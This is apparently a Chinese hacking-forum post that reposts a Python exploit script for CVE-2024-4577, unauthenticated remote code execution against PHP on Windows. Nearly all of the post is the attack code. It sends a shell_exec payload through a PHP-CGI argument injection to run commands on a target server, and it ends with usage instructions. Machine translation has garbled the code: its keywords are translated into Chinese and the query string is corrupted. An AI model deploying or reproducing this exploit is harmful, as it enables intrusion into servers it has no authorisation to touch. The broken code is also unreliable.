H

php 8.3.8-远程代码执行(未经身份验证)(Windows)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用title: php Windows远程代码执行(未经身份验证)
#利用作者: Yesith Alvarez
#供应商homepage: https://www.php.net/downloads.php
#版本: php 8.3,8.3.8,8.2。*8.2.20,8.1。,8.1.29
#CVE : CVE-2024-4577
从请求导入请求,会话
导入系统
进口JSON
def title():
打印(''''
______________ __ ________________________________________________________________________________________________________________________
/__ \ \ \//__ | | __ \/_ \ __ \ | || | | | | | | | | _______ | __ | __ |
| | \ \//| | __ _______)| | | | | | )| | | | _ _______ | || | _ | | __//////
| | \ \//| __ | _______//| | | | | |//| __________________ _ | ____ \//////////
| | _____ \/| | __//_ | | _ |//_ | | | | | | | _)|///////
\ ______ | \/| _______ | | _____/__ | | _ | | ___///////
作者: Yesith Alvarez
github: https://github.com/yealvarez
LinkedIn: https://www.linkedin.com/in/pentester-ethicalhacker/
代码改进: https://github.com/yealvarez/cve/blob/main/cve-2024-4577/exploit.py
''))
DEF漏洞利用(URL,命令):
有效载荷={
'?php Echo'弱者';',
'?php echo shell_exec(''+命令+'');
}
标题={
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64; X64; rv:123.0)Gecko/20100101 Firefox/123.0',
'content-type':'应用程序/x-www-form-urlencoded'}
s=session()
有效载荷中有效载荷:
url=url+'/?%add+ally_url_include%3D1+%add+auto_prepend_file%3DPH: //输入'
req=request('post',url,data=有效载荷,标头=标题)
准备=req.prepare()
del prepped.headers ['content-type']
resp=s.send(准备,
验证=false,
超时=15)
#print(Prepped.headers)
#print(url)
#print(resp.headers)
#print(有效载荷)
打印(resp.status_code)
打印(resp.text)
如果name=='__ -Main __':
标题()
if(len(sys.argv)2):
print('[+]用法: python3%s https://Target_url命令\ n'%(sys.argv [0]))
print('[+]用法: python3%S https://192.168.0.10 \ n dir'%(sys.argv [0]))
出口(0)
其他:
exploit(sys.argv [1],sys.argv [2])
 
后退
顶部